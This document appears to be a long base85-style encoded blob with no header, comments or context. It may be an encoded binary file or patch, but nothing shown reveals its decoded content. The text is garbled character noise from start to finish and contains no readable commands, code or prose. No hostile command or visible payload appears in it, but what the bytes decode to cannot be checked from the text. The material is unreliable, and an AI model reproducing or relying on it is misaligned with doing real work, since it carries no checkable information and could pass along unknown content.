zVf7GK##U%H1KN&WF4K4_eXu%MbfkPQK+7ZLOmoEmJM~GeuBbBVnNQwA0hS#BcUF^&yczDQ=~3xb%{c) zp=@0Q`KiQeF(;uGppXwV)M|)IVIYAO}(@}ZuM!cwsy zp5?0+tLBrpwtRzs09#*2qU2mhZqcOsKcUAYbY0Lk5u9-AL=X=W&jO! z5yTn7NT@3ymIDoS9mE=7LmeH3>ZvHyo~f{WxC`|$6gG+lsnzWe&kG}=?uPgh*ia`$ zq1I3?)RI)kh3!)g<0a=!M<;XA}rjYKN3TqvS zJsFV4A#@zj6WPnfba7ZT(of_cBnCN==Ocfr7>{@Rn-f_t0na#(f%#rM_D_Wiy~hjC zJjZ+Va-s25y2lelM?9`W{y*w*z(0A+mL*6I9wsQ@@4!^}wfA@zn(MtsFBck5rF-1r zJ#IsOt9qRHPacOy9vh3tp{a2E2v@6bq4|dQ=;cD=sdSG=h>nzT5AwU!-Qz~@u^Bo|0CTy2^7u~Vv0OYJlM4HebY(mk%}zjj zj+YCKr_w!k6CEjIU*vlO6Tj=9JbvaphGwvM9F+?1_Z~;0ISi;rFPCXNm40Ep)_a_Z z{B&UA&+g|jny=QshipAO6`jbFQeoy%#4cmb!p+>60zHveKr9nRPUQ6vw*q^Y+Sr+k z@!}W-n375yCnn_N-Gx>XQsl+qn*b? z(X93!yff1G;!?Qa^w-W)lPp}AZ<&Ps)Md5^QuJkfhx=HxPs zr_wvyTJP~ZANG90`?q?ynBuGYPm;rq#*_&e}q_%=l@N$XhXD-^Ie3TYNJC6PeiAV8g@02m+VoF4k8Dg{ zh{x5bu={b&<9syd0`=(SLQ_MjL-p8Nbj0H&$gfb3tNzKO{A?jdXj+TMD^uak-s3tn z*Lsg$E>nN#5RLTC_Al@8LFDgOk9Y3pF*@siavu4?%TZC&U!Mwp6id?dTd}eQXw$z5 z@tQEw^m`$`2e#?|a7JRLKnieUDlu?0CZy@}o??yf7{RFT%>hh=v7WX!+5H_i#>QSRj>Y7VwZiP zKg7yTp!-70yEpOsouc0u+HY9GBgnOL{LZvX7Wv&4h6;V)SK z5or0mT+DbXbWzFaJ5zL|Msv6Ds~j-#hH}Hi;V)=XKK1y8^B9;5#p9!?@O$sE9h$9x zdh~Lk@l;F=+5zJ|@39Q|67|?^KaX-U>6^jz?zf5=X03SKnyS}#9P!GV!GqE450a9j zZwAkVn+DX<^_o7Kx`(= z=MZlJlezhN_q!EL%xsp@{E@1+dgsHTlBLH4v8o{lbk`tNj-P{tGwnA^I-BqwK(RrSrq1 zYmUm4JdR*vpX|5AqkM+yYc#$D`WY%O8Adu*gZ|2As4fv5`3%+X$p0#y8pu{oUMU_? z-chuzQ=MnHod!WOK9mKaluc{f_P!{NH)p- zw}ogaj9mG9L-YbBY{YqxvDs?#T(_fqp@Ut0vX7sHxsHg9MPam9D1ey>F&*f+Q=?Wx zS(CNe)d>brVG9vm0PrXeMK^bTcoW`HO(c&a_`FZ@eeoz=ayc5yfHsYn3?m&MrF75d zL`Rxt4f0otr+D|xVle8Sx}&95U+>MD&Pm{@9GgHZ^htJ`?5giptlSK=`W}Y3Ul^&r z*CAd8wlHHObDnDC&3)S^bG?|8!hDOuH$V&HB|}p~StTjVm7*hsG0*bivp9;M>YVs~ zb|#5g54nLy_8-`SjywiV2TVNc(&gI*x33eKELldA zI8E0xPrnCHMAzP(ZTCHT*x=v_yvR-$}>+yWFQ=W%f-exQC8b(h|Gdf)2 zjUVT7H<2r4kiyxzeZgJr0^_NuqwGj!CQop6TaS9m23ogXGK_T6JIeQX*Sc+qd~;yp zyY{=J>Nzakw8rJpT2Qu?!zU#kA^`LlnWLFo|jpvwr2r`q_s z|2UNyPIIOI7gjFy-o0dIq?2Cyuf6wck-tX0zqX(Exwug8f$PV3aa4QneOD^;Z14SU ztlZ(fd&w};N%uZObfoOhBL9qfZ|zL~`TChT;d&}(vvrqY_Hz9Vf`WR7Pe*?VSv%1E z9|-2c?1tC{k|GvcK}zfAxETkr)i47f`T#pcayGewI?A_A@LQj{15U)gOp&G{KSd14 z6lp%hslZN=oEmei{S5di(s_uU16abp0rxpYJpGK_*o`o&Nxuxl?uJF0{P9rWZkt{GMNz{#fu_j%a|dbS{@-IN7k0jnyI-TxLiAc zF%rcyS)-Ce1~4>|VShh(+3gS7x%|L*s)1E7!GV1<^}4!)AYKQ0VfX>!8)4+a(Cm4t z3UFlJa~;F?3r^Rxrz(Q5px#9@Db3Gh^+K#11P!Q;h>61tA$5@Ce2LgNh%v&vm(IKb zGndqvlCuToa)?VoQvAePW93e`TR}+|m~&sWada+#>5jzQoGsKs|ZoL;ZjM|NVSk-nG{AzVEZ35oR;V)YmB=KzEmR@hi%oolW;R0nL9np}s1sg0VWLYy zrKu7OV{qUioUx56SO!|K48{xmLIad{UBs{Lcsm4@WwcQfEG6y6mzh}(i> z8RX9|wbFt}ps6E#8@eDi7|~NN1ndA;mqO%)fX*;_nxT75Uk^a9VRYjU!D+WsP*111 zw)V;tWIxM#jt8tiEc(*QC%sDBEuBc9*)*D~YC){zz%acLuo?ytdd@IM zM2yoc8`QI5LF{B&J=ek2ix8=&gGWy@boJZ}=-Z5LyP-!=Pp1XlaDG8{ok7|SAH!l7 zt)v_3erW079)@Z*4SJUp#2$xHYLx7U)wd9#=it%P3?02+06oS)wi{Ndf6q8A=!W(M ze%af!8+=SE4xSb&J)IWR^Xh`wSa?d+^BlN3 z8zS{|@ThT`Gj#RjQdo=8Z8v1>v;fR{)q-y5UXZ<(oH-ks!lDVSq#Hg8piZ++&=&m* zV&~i*rgs^v+Czk%gGY_ioS~z4Euh^Q$aX{5T^8UOrv=?GpunGtNHQDx!Qxhkbb~`; zM^Ni&NLs9H?cLnxNyU5Zp-dzR7Cf@;1R{%B%Uhao@y~2qB z;Y1rG9tUI=VHY5=6v{J9)I{Pxomgv94iK7~YvBk?_y15DhHgol;uA0+C|M1mV- ze1#I^PIfow*lh`WnLq8*k+PYMbGKT9JFU@|)kweQjF%PIw*Fr8J>#_UuC~Jp{KA8^ zt+TPjq3zkh;3a7cvN|uaO1*C>OmiyxiiVJ0zY@2G+L0SocA+VcmxT zKa|m9y+hG$*rzoo!#FJnJE_3`+l74q<`Z04hl~U^;mLKtg`E%l(+nG37Yd8v8NTd0 z9>jNA5Pu4)eWy113-GhT#dpYvaauV3O|)UPw*vp3#4qx(Z517G;rKPQ$TLn0I(=G! z|EG)p1^n=3T{7Su(hqFHoqoW@KMedqiQg_gzP&fZ0Y69!@BszYDq5z-d$_Kz9H*5iPb|@ir$oOKnR42DNDF-9w4m*07Wn^j(aXR~DTvhF zAu|J;aNB?DqUQpi!|1Vvq3Fh6co!}(KCyMo2()aQf$!E8_zw(41zrcNKFsSuywymw zhSCBOc^`@EpH$AYq*@v0>q)GBcWZZi42usT(jX3*8Q6pyR1wSWUe20t#HsRqgm^O@G1V^nxJZ?o_PLH1&j2pDTH%<$p&%^pROlyA@ zyp)4T?Hw{Run9*$=A!egnJ>}5JSBQC7z=%Bn;P$-Qmu?@`vnF51Q)##yqxEvJER}j zgxh`)ZCLltz{}Y*dXBpOm$vVrMR=v{sqt5$_QSRIz2U2;i|>$;z$P63sEa=W_+b#- zSN-q!tAhAW3+n$O>hI!DhM$QpzC%Wg)57rw(T4S32>g7B|L%Xs-xtJpTG0D175JGW zwEi!^&ng$+A@QY4wGQ|GQ5XMB;5SPAjL&SJx}87RduwSyhH+X@`&SG6@h!# zUkK;;IM4FYVd?QxcOOSYu{bvzk2e7O8ja=Cy->C?!S(nklpi3v9(Pb*zHwU6EAJHekCB<&M!}^>A&9h#LuLjx z;dZ%~Hf)!(fG-EZBW?|H+L)XXw2RY%F}bC{FE?7F*MOIN7u_Kv#%bX(nL!&yZwY)0 ziM}K~dU#B_BHuWzoNLLg1^%NherNdU=;AwMW?&Pp{a6?OdfaxZCPZeuLq<$Wvn|MV_)gle?xlf0gBPgLPyZ`=>`T}3P77vyw4PshoYp-LUaGk0 z4vA}4wGPktUtIL2z&DZT6&0o}AD;2`wJ5_lEvS8>ovE<;gP>;r|m+! zf&HAu+=YIGa)=4;LRq*bO~`erTqfnK2j4g?=#>)n{IkbvyHtfm9z@2ZLt+C~>u|di zq78ecA@B_tDcV|Lr_INHT99F!7L3VK_58UmdRusD<)S-eB(MpO$@^XOUcg@`(Z{7n z506P#p|&yeuewA_JiPOfQ#>tc=Y-&wU5(=wI2=qNQpl?J$`CTzN`hFaas_) zY(4)87yTi4dC*07NW5w8U!vdVqR#>T35mY*l;|=hd3hfF%8f~<1<{lB{Bjet?$5!? z5*OVeBY}0e=OeUX-CqIzC5e8v205+gI|b357L2=U_54R&^!MQ99T(jpBPOM39k3RT zbR7*7HlEU4BaR z;A-#%E%1%gf>B?qp8ueW9>vXt2t?+bL*lDOmH@FgK8wj~tZEtlei+6x2gH6@qb_+0_f?y`TO7kbf+nhJA{3?MWN8k* z1^VnIHaMdcNcI(|P!OfH7BfmaYXuS}ezWE?%Jq`pk-KR8fe?OJ2+!Bs^N;xHA^gXh z&$>Tr@m@U>uesF1$?6@+POE!oEhekI8imn^Xg;I-rcucD(Gb4)L++UsK4KWc=S#k} zRS4fKg#Rmqzbb^!ea_NlEe2XVUj%%mX0sL#Np@P>j?!Y*Vv$B6+ov?2wOFrFSUbLx zoPUh+kw!reW-YVXjPi>{35}C_TFfX#rljiLMe`XYNAhjm?+W1?hwzVu@K=QJZ)iSQ z^|g4`{b$W4t4WfbR`)ZXx1`BxoC_7S79?@(@IjT`Yb$>M! zB|bG(_dTH~l_cNRJ+|DkVwCeNo^@%c*^JUvveW8voffk$12hWja*yV-F865^)@4a3 z${dY?G4HKN_2a7=B~+I@EoPKm8in54YCfa zcZBfmL-;>5pKW!6#e4Nl{H~R$T8x$Kw6=Oui&=}uH453juKBFRDviS0eH+5R7s6+* zvSEn-CWOz|eER<*gy(xj`A2+->1++VUiA;*t4Y4RYdSt9gl`eTuL|L>4&ir&@VAHX ze`!8jX`;n*MAcet>2O3Xmh80k?FubsEne3sY>hiLpSAc@qp=o z@=7Sm0*%7D>dg!w}<0+Zm49pD_J)(YU1uERtEOOeW#f+-xK~({rD$)ezXjFepa+o!hgqo zE;M$(dgR9mc>HQ6PH-r4PE2gnYoP|2q6vQVF!oHSB>uK0*y!Ue6*L2<94Z$( z7KUc6w;uVke@hg~7U-<`bn#x;g|@>)E$6RnAJlT5!|Yo2OUOFo5$SccJN|)<$6rya zDJA?;ft)hWDQ%C;>LhmVwp3-~ZMWORHL$xXWM|{`(o%j3^3GFBW6gGi9CiLM<>={C zq4Arwl#Vu>S{mD@r7~!L-I;Q9_*7`T$Szw-NAX8xG)O%y-#uE&)~zI^k{{z;75+(p zshVKdw6QL1BgWne!}f(>1H!O)rH`#Q{O%qKQFZKAWJ1#}Fw*OEdF@D*QMlJLiju)SaWlDlxeZdkkz|Kl-R z!Q|P|g6)8jBEw4?H``Kb*rO?jy%*p$=5Tw?cxVNZu(FNI<8PeUa;0v0A- z;WHbB)8J^x0%MruFV|v{FZ!4r1@@!loQTh9sWkCUO|T~Q6v~NsB9wngD8ITsN?{`o zwfPCZ=YKTfSOt^EEDM%qvKx|#f2QROzCy}nsfbtBXBG_dr3=#RKZ3MWFr6F^Ihh=C zQu%Rd1bnIIKb$NNIk`ZWuGjBJYaNyWt))(u*L4UTTJKqtupP zE`1N_H<xkO$mfVxH;Vrr8z)xkM=xquM-;Rto*UZtEe>2_};9>k}kPzcDbQF>HpZ{k3OMr**_d((+ z?1jJ27t~ z(yuUY(7nvNX)vt6L3$7KF0ReIQOq;gM*m=5ZZ`8CXp5|>$U7TSsCp?pXteXI8`7Pb z$KUgQptk(t^H8L3hscfjJC!DWGFP>7bdNvp;o6BNpe!SCCh#+8QvpNFA@O=ywXwZx zZ_MY@h9hwS@be%hI$2?EB%;11eyL`1Bwh;}j6{DvzMF!K-DzX*%m<+UnuU{rXsJiIiw36J-P#nmOX ze3LxU2d`YNDXfO;ap&!ukiW|{yDt6J`#)%x zL0|HZt#eb#Uk}YDzo-8H_*)k8w^j|$Gx6U-{*H$Io%et6tJycjFNU#!(a*ci)E+T4g?aH6F!1r4UoN7+gP7v(SSm_Fh5J zYAkCjAtkpW(IUXrR1K?<{CVpyO?Z0%*$V9I5bqEY%|FN603fkT6@FhwEDk+1(H`^m z2E^e{o7OS0KAO#EK(T?E;M1bmXie0I0g`hxDTlQxtIxrC3tn=XpzLLnd<<)2SK9*3 zju4M8vf2Nzs(tm0XDSaw`ADvMSAp7Pkji%=XVPmpMLmqv{mkiwoEd+>?h~Z8K+fu8 zuB;);Rz+OU6os5M$Xr$9)>-ZFkxHaGL26v50dXj8f=HMMyf7&@M6)}F@*dE!y_?GGXnwMdft}|H@RJS5v|o$XD5#ND{2yC5 zIK%$$&HinfG+2Rcu-T~OgSP7RY}J27>HsABD8}UTi}kmO8`tp5ltkO^#*l%?ZxbVr zZ9W_6SrGXV>(&|%O@)XaAhHF&i1Jks`O2`v_@)dnJOIu`7}<6|0A?$MUqa%ZW}kekUESW<9egP3O$Rn9%xKwKl5i)%PGUt;FAVTJ9ly`*)8Hd5^JC#fggb^~g z12YI>V*As{^Z@c5N9ICHW-@@IAwmXuB(o3cy$~TYH6SyHWB?H|f1~^lh>&p@d=FX4 zyyVD~#+Bb0y!wkBPbV`I$SzB?Wtv(tbpfmb5i-alnfsBx7b0ZV1Z18e89;>0Jd{5P z5i$;gU$av(tr13Ah9B-(2QjfsFRh!l0{M+2)6A0j2*Aw{A%i@U;m-=^Lxjxd0hv7{ z1Bj5}Wo!$GkZ~B_{H$blIx;&p@y!J}T3_}=c8D6Si1~IW# z>0}lISsIH{p(;J`!FEgL767k>2pQy&%nGERg9w=c0hx6q1Bj4$2jy=;gp9-ZW{Z-E zA&ijO1I%uSiM_3kc)Z66wF}PvXXp^f2s9S)&#PY}b_sp(Efqh){(Jh!q|trq2TKwO zwXQK{umk=H&>sYf_iMHGo^cvI^UrHgBk`;=D*O#j`VbQ@P&%LET4N)MajM|;L+jTx z;>R`*>wXs#>!RLYxC|$;VVbxdyR2H7?axdh}p+#q;E@4hz+hJ&HWOuwSCjPk=--F_V zL9uCbMDqb>6Y(fp2Uok_x4?0^x*V(a{%9$6am;4Fx?J|i1=ZzHu@B)thu~1Lpt>9? z%6)5076c8mpt>9?IwREvfT;+UkJLTP8Dth!zqL6I74wmL3{vAC4TwXlDj|NKCB7TMwpt1kEQRy-;e)b} z?C*VCQm@cSH?_KK?hm10EJP+9^4OWXk^U4SlWvp7^UPl`_W+SecLL?dATsG3#y2G* zc5NJiFf!?i?#HJtASN~>!!ov$F1s?2WmhVhX_ib?0MCL58RU`72&9KXgv|E=nR8+8 z0U~4`LHTrukZ~B_v{f<*gb^~&1M?ij#KxzS=?3INM`pSuvl+lwAVLOtBva@+%rJ<5ococ*yr@Y z<){tpThWIsNBQapr#ljQxcV3$LqmXF0lI=f@jfSD?zF)Br0R)=&ZrLzZlFSOclax_yjWjT6T6KTuQGi|UARhQ-HsLs^B%D|gFcC{==gR0ANGy?H& zhg9wb3t5hqA+?Y>eUT%}(Pv2QfM7Ygt-35n-T}Ot2sxQtj;frnzCH5<6z}fpndc&e zEJ0;}D+Q4yC?85L6I_BCLTLao@e91trn}~!vIOM$jROTS64Z#w$zgnNexJN6qUP%DX}H z`h@a^Xx`nSya}2&Ih6O9<~<$CTdH|$Qh6OWXPWlHBMpmE?fY}N$u{Dvj3gicl%vMY0BLFu;gbeaXrUvGAK19eo9*~(tGJpt~)+lcQ5i$7k7TwZy%i#4HUwlgk_;e1<}k{? zg9sUi@y*9drai()%VcmeQev5zX#@B>AP+h+A6POK0OX=0WROQPcO%UeLdfh3$oxh! zfC!lxD4zlmG7f`Jc1P`)`OJ~wYVj-tSApqdDgZg;C2g5)mJFAXbr2zgJd&x5lU7BD zkV$CkdZsqaJwSv^W0W_92pNaL4_zvm8xclY<_cgsL2wnAPUZ?CUsf{PEt!D;_JRl* zA5jgiPmv%o8L7h>*Dr<^3T-#$kN(ypkD%Fw!y;fEf=lv4v>^Sk5B5 zbOFyWP6JT>yp7djZ_x)&I*-8qVfv7hPG9wdEr5h}RvZ4K11QmwsboMwH) z=#6TL%GfHz`wK8wMWgsJrNfiX1t@kWojDq@gUz!iomT2yPCB=0BJHHJ2W}Qulao$Q zJrJZWyoSCiC!NLBM)JaI3*v8tU~^wwZ5I3BPo#cfPG97#W=_sgV=6&#(s{O;oOGHZ z)d(UNUeh%MK4ha>zE;;;SuL{~!pW(p3-FyGa_YGeN^d53>bVojV2Fvop$>TJX$!+s zPCf5wF;6|cf@0HVkLI6p>Z#oezX)beJyWsB@Go`YRsS{Fu;Hq)cT(>)gUvaVvZztV($MAU*h)g=*V-S7&NpW#G*|$>BU0<+pJ;N+SMQ z5X`zit3Jp+=!(>3%;}4qXP7eK&}sZwP+`f+c8p)iGRx&c#(~J_L<1yy`?QL3bh57lI{d zL{+))T8Gs0%o$`xR_)msOVEC#zJSyy=9Zv4%tMI8CFo8(P^zri^Fn#`HSfhx-o={t zUMR1-=Iu%4b-YXS(wDDFWAOH-s#&k=c-R#zUpH=&N?&a&oy2%31p)o;mi`!|20^k% zV^F{OhECGnRpmnI6BKNL$RtG`+bxNfKL;X{^n}Lq%rwpkKboMLJ1e zKp4AX0MiA6qg_00`Fat^%imNoeJq*V0qhMCGRPyDcaeS@B4o~rSs(bVD3Sq0$b5_P zuOLFkVSMwYl4*`GLgpkeze8}eODFRqkY747H(D~Kf5X^?2pQy&On;P?=Kgj?hWVWDuGepQZjBmy&nS+kZx4?W2!NQ(SW;&4fzO5~DizV|X zfJY%h26-gY6f?UKM93@;$jl=dK!nVdDDMmrG7jULHA-d(!br>X2c|Cs7fNYlWFL4- zCr5^H8i4ZWU0XHw5`A!&83FrY^dY;6)Vc9` zR85q@v={G>!)O-0$G=fJ++}K`*zGcZX~dQ`&+amP)Vu65lQfaG%N%KkXF7J5xty~G ze|_zLSZaH1mR+W0)uG&FRwDj0kjlMaF@t^Z4N{*or!R7zXHLc{4fZ1nWgy?xXZkb z)C%Si_|hmjcpnbd&@7v)P8JX zzh=h~-5q{UYF_zJUiSAw*VGB+NSn)h%hZ?fhs z4&}|&yjMecD>ZL>DDO?p+n37gxJUEScfn;Pa9qjHdMa*vV=$g&@XwpQYln2oSlcPT zq9G61<{f97x6@y^j(}u;gh}`AySj)xm@m8FvnZGYkwpY~?AKqB{uv^R$j2JbGY2?l z0g*){`)@445LrYV#y5Wg!*lb?2qTL~RbcWU*aZt);`;QYNCM}v_ms?JOQt1&4In}W zc_i}$(vL!f%*lXEMVNbl2$?k~UkMR14&$48z>rKEgb_0D1G5E!T`--@ML>S*$UJ1p z90c%lh>$@Z$uz}7%|;L*Qz>C9%N{Dt!0AwtGseDk!D>4h-TGNp`X zNh!#kU<{FRQEiS2N5z;0y2M)3?M>=kMo;Dgp9-Z zrdT06W`-k-v4rS z#t}rw{2h>)OEQ26nPw<&3=uL8gLk|rnaT(wEprtxT_GkmGo8#^K(2RWW?C|L0N4j2 zWROQP+mPM@5i(T@!4v*G^D)T)B4iGsd_P3UI1FB5tz?!vGG4?p{{UxV3)9J*1oDz? z+A@z=GUWj-3K25MBblK{4~7Vtivu!QDDnUiGSgB15Jbp04BqAj3>Uq|2qP`C1enDT z6I+u`rU1xK9hpZh89qi?3lTENBbjqDJyQW9WcmkWT9OPPLZ%VQ&w~gVhw)7}CG)N$ z(;1kK5EFYloy;vj_Svp2Gs}`00ANpukU<{FY(n}Ch>)2ckQq)gfC!nrDBlecG7jUL zsY<3R!br>f2FwWv9@wOlc?!s5j?810Og2uKnGhj^Jd(Kz=_?>YW^F)b1<3#+WCo$U zA4JGF44$hgnQtAL`+&I@Vq#foWaK=&K=-{2<1`tb9HHa$V|h3L$a#1s>}Sx2oVK?q zA^d_AwKT|RPKeG z$JqyeBgLz5oVNSruVGHr7`}i6!D+jHzTDGkg;aBh++seiAw1)>d>3p;e&%F^laqIM z;JZQO0h85sN>byq|;NDJSomTFjI8TS2jD(^~USIeG7^gXd3q za`G;I*gBqL|HC2g;7(L=Aj(IxiZc*?A_OPzgLx0~24H<{B5IWu|kE`d&pLU8gv zlqV-|UQ@PZ&LDF*uirx#W7kG%B&0@d4TzKX07P=9?B<$1Hk8*{^BxK1_0hZ~p}e~^ zZ+$3lqUL>=%Imm5^U_bd57oy-VqR7y9WUnw561_8CJphnZHUbvzt&c1ldV!^>?0*0 z+25j_*5Y1Kp(;JmJb7~3y&DDnAu@@P$F|&z^qUZw#9cKW1_z2fKx7hsjq)!cGKn1q z?~ulb;p9Hl0jIAa^)2J1m)X04{+D8RU^nG0fb; z6uwUEsesH4Bm;<$sfzL>M94UdZ-y$FHyoMfz%+$mtxYF$Kaf2>)|UCulDP)J%OFAq zc_gzM>E#e1^L9YyagqT<$h?p8cOgQ?VSKY($#g&%X&Ej_-$G1me>#~BKz{GY?6hPI zVjTlm$RLkou0&pEh>$rPkl8^pfC!n}kli05WE{pf-zk~hj?6@0CeTIfcsiLAKo0#x zTV|IfvjD(HAVLOtBy$q!Um-%KnEJpwF|aClfC!mV$j*ic8He#r1zNd^!h^D?quga{dj z@y!)V=7b~jAu!wNB33G$Om85kJ2D?zGT#IE6-3A&k7Np9Rtq9zy3v!68B8*O2$^;$ zZw(PL4&$2%N@g6wNXzsDrU%5tmZ>A#GO~l_p!xZiVVovO{Nufo7u!r9yc;$U_WkKY z_UGHw53X-X=+nHhM;&k!KqCkg?=`8>mvNdTne%R5B8df2yiW$~0Yc*~ln(djCMb6M z^Foc-$>!PpIjP=de`ag&FKvH5+!&9p@??L$T(_>if&zir13$-lJQ(Hoa(`X``^O>J zhL-2eWgmQm)cefoi=3C4;}!GF@5sUaydqEb=c>p_LhRiz4dIzx2;!~F%RC1mWKV7i zOcRLg$(KX9j0x_^J)!h~nD~=w&ONyq3{TmU7ilr~W+zr$G^ga3VJvbXotwPq7 z2HKX{ifxmB-s~HOWtcKi+?APH<%T!5<8vX1-yc$@Lo?=0d%P@OP*NQG6Z4X1Gw)e? z>Q@3I4pQj7Gcb&+$TxRtmGn$$NTJ4KvAb81Rw;W1<~sBK7=cd?*t~URJX5DMzC9Hg zY0ONU=TAF2DyyI$KEmwMzl|zX4&{$lDLxHM3s>~ah6?ag1$nco$Wh>`v%vvUs3!6r zt5S3gD)%$e^O<)Z@*b~J_&(5^c@EC&kV4Io_k{Jou!?7Xt_%*BAaAydIc9XB5!c{2 zXw&`kJTpEQc5^Sn=ap<;vlj=v;{O97xtdgcR5uEnifm!37c(052Lw&~&*c;*QG{ttQ2+Prs>w-8e3PvkAJd7~TQ z1M-kU{C??D%V~FG&zu1%#IKn?XE~kI9Al*!^7w7jWfs@GHEyA_!q?qzF!6pgnAxQp^)RTWpUObwhg^ZeJv*|#`0fit)^UgN z&F8>yhr0wWWgV{zOl^pX&YEN$aUJI>aVMvB=5&1auTv0W21D$qQhpN6=b@+>OfRH) zCf`xeO@SF^K7k)riR~01iaG#vDI~#?2w&EEJyO>|QS{m$s&>DFF<@e>0? zV2cG-$HDM1-1Bh=`&!5I`8lOHWUmB+j*#pRP}l^8GM*df6lUQt6byz)YxfyqqeKm% z9w1WnCs6(dBMl69eomzu zY0k0z225Y4xs2^j3d}I;3A`Yu@NxlSwCn(A8zjLJ8ISvr+5?gC7-uc6p%Bgov-2P^vP)v3)6&wh)Z%y$JU4w>q|4xe55UB;@?(*bb>F#PKXMXn)XE*D&J6 zIf-#D;wP}&36Y2n7cou?Puc;rVI_Y8{zr(3W}H&V(TEtIrO`Moo`=n8GpN8#jp$yr zcQZ)dl;cmcGbos7CVMRos^j-z1`WYha%E0QP7-q|UJ*j({GM9frMBw0v8N^!RKv3*`SV^tWx0km1iAr4e6@wriV3b^w?OFw z!5WrCu-ON74SOXgJ8casHIW$bG*^)AYdNtS4xn0G!zRFd97NVIhl`lofD6{Jr%^r! zB5Rn#M9oBE(88C}7hCuxVAeuRboMEGGN-p)Q5ptR9wU|YIkAsu&Nn2z2h&Xu=~RdF zO-iE^8}fA*@*CjyO31R4Z5>^wa@mwMtcOO-FiRP6V@|9M+DRh*49lNfM2EvKsHsJG z7!}Zll`Px=T?;YMsk)21h#W@oB5KQpX)tWChDD}L9fjv>!8stcik+j)^na~lt=i)0 z&LLeEw%cW)JUEnv$g=SDgSPVckdJDPySF{3{1I~JZGv-wFCceW#X7yjwaBg(O%aQ}b)2 zzJSQo^e)G@LXpsE-cB9)#%aM(WicwqXqMBh#K56-9iRc5ReQhS^UtFC??p(*Y;?S{Sc}$V7Lzh;dr@ z=H#8EuZ8k_h_tc8_+}$8Y~xvQDQ(;l zm<|vV?L5yqI;D+$UQSjBf;cUh_Ir{!`{|6w@9W{HC!NXb@6J)94CAz5D1MbJb}nix z!|@In+y;^1crTPOOmH|ZfbtZ?9>Qy=JAAZVwO|9=t0Vh$fY;NS7nnPsyw3z({SV5I z5De-aXo4Gl(vf}Ol#x9;sA#M?TJumcE9VFs8!n1pp5xrGOGw$N@6|;+xuKhhl?1eg<~Ff zF_#0sOk(m~Y-urN0>_7FJWi4G5lJ>N6#eTaHba|A=aVb~q08COVf-Y>uRW?Wszk2r z3vYqPdPsK77WhCBV#$mul`H$g0Tg@-k-q(8tmTR>0@MRU8o=v}g%%j;TZh3te_+_q zhuKi<+j78_ftc9c&!sAj2IfRs8~Dzm?-IE=mBCXcPd;pNX(t=PYYNOT6$mVuTdc1D z(fj8CR3DOHi4662NVSB>P`?$*jS!tSZ>b~SI4zikXP{=>5XJ&MhUT0$GoVaig41R- zl;sdio8AaE?U+uRvvSingo@*AO+7P{Y%AnuUHd;&i__*Kn7{cq?$hwDGU- z%t>IRX&okN-XjK0+ls!}wAF#D3Ng{6p{A8V^LlDSXdaOHl4L68W^JPbPMpRtZU~Wy z<8XNJs21T3;bj-}3gA0Q&~u-)wRHPD=c+yVseOj|i4o7q&AI?BB@z3;vX_h4Lvc9y z{Y%6ev|%+z0zaG)W22X(BAR$HHR1%g3E=cOTE7U z{xgV)-n1%JZ|<a(yFNGP2AXsCISkW-G?xi9UV$0reFAUDE%uxMF$#VM z=vPRBB{JxXbioaKhz$A~Q1T%F(nREra6Cd{Wmq_rI`VwwXNOrW(WUk#B7ee}hVwGEi}Atv@fsD*VDpLrj7!ou_;he5enCuzrdvllkIoqvamn0wU!ch3KB zz?`7}=v&LJv+!Jr@6%dxOy(X>J3O6w=dzLV)8XrGaGr9;!pqWdDE7Li(_hO=`kKLt~{VmSx+vmy41<(=TZi_?NDmM3#d{zN0* zcc}w|S`fKnX$qwYB=&yVeU~E|)n2jO2D$@()wy=a&b3Z3Y7faChr+ohbguni=h~ep zxE&(BUqW}$s3Ft?M0#f`${&QtTyvPXahk97g;{oignP zOmP)`9x(5h+^n*{fhVV3Pncf~k%n)pWFlrAaKW^@7v*Ch((n!wHBQ4fi{y_DpP*kh z{A}PKhnUzMp)-+A!P}LOZ{8uF2yP$+;#P@!Z{5TvbUh{5Ms&J zbz`2~|I0;TC5ZIuSr1r>_+%8I9w5@vZBTv@L>5zr@y#({*t$F6QhM?_V6KIjXw~$~ z)6jNxe3A>Xlp$`&t5^bbW%dk!X+N6FcJ;RcGt4Ul_RdRm7a)3mBtXL<36{uMpNiBZ zh>Z0WP@aS6yoqV0@Y}qq1=Fw(D#-KRJ3w!uIk&6NpnSvx=gsd>jzchSGVm#Z;(zMA z>6e#&pRaq+a`}LH1M*^*oJ6%aZ_0GT-BpORu){@63*drzQy1kmA=1JQ6E#;7gBGq& zUz{s#foTK5lg{*O7I|^D9l#TnN`|?KRBp?Qy+(6RnX6&i6(ZBq;UXrb$?TMni(Sau zfgdCxTg+xV1eZzDsqwBFjYIPwYgV-JH)fb$R(}EprY+lw%8gU0( z0)xd6*}-0dvKA8CsK)l5Ta(AEE7`&1G3*6{Y!3eAL*o~6V;BDAnIi0d>Gq~Uc?p!W z+l#P2q#sx^(qmVG?Mr@)=ny>D_Deob!dBbdqPdk^$CL4?Lt z0gVPqLx#mZl<$QI9f!dS@)hkGmm_fl{gTd~!2bckQ{Yo*$uoDKv<3vUoQ6kP^5?yn z8@umsrC9iCOl62Xf*27{bQ(TsAb-JRDG%(K5TWZ(c$ZlaP4S>RfH6q7Ch*lExIwNk zZN);2OpuR8H^i4ymyee8cJ74g0RRp$Qg{(Ac%}l z=O!cM&~ozrs8=?FE_qM*A>bc`nAlyqHQdvcuuM|`0qO}!uq5&Xaz-IF3=*xa zR%c+zOI_BnfiDRB-9mrgRPo2rA6JceuzV6C4eW4!VByGex(=WX8~A15*FjA5sp*!e zTSesH!x1-7BjSw&jQB&9>=U%+;NJqv&5$A-{0SD9<)D`l=FBh>0tdE%IoJ=tMG+2m z6MJgD4Qxk|^yz(Skzt(Xy2d+FCA%kH+??vuZxR1%i1ew0M@}SgqYypSy%m*$L~<(W@{)|khL ze^$xd>chG$ifX_zACh26B#E4MNVS02>jt&Nm7{9Gf#uKo#kdD+KrgB5mz(5tGtVZC#Z%Z0lcvKMpa` z1A2f+8@ik<-83S$I!4UM$z0(g#;--AKqR8W;af~<5uPkhxQLa2uLv>GWqJwcBFe`z zINb-TJ-+J5h<;AC$pl|c_qwpG2}!U-ru!vGwSh!utCgGXse9Xtf*KsAzerBz?exd# zJ`k3DAyNZ}!^83BqK9*^1OV5SjkYO@?ur4lcv#e}pbM{l5c#AH>9#KaYR$r^^68a(Cun zn}t_As}@{cm(Pi{kHQBB{BhX-43PmJ?SZifkpZ6zr82~1Hm!hHYpRo|DaubdRmzFY zql;cBY5`C)h}Q*)j!-%<(GH1TP_Ba{XcOs=oO_WP0D)Idqgv`U!&Ic#b8=#j#Nd_l 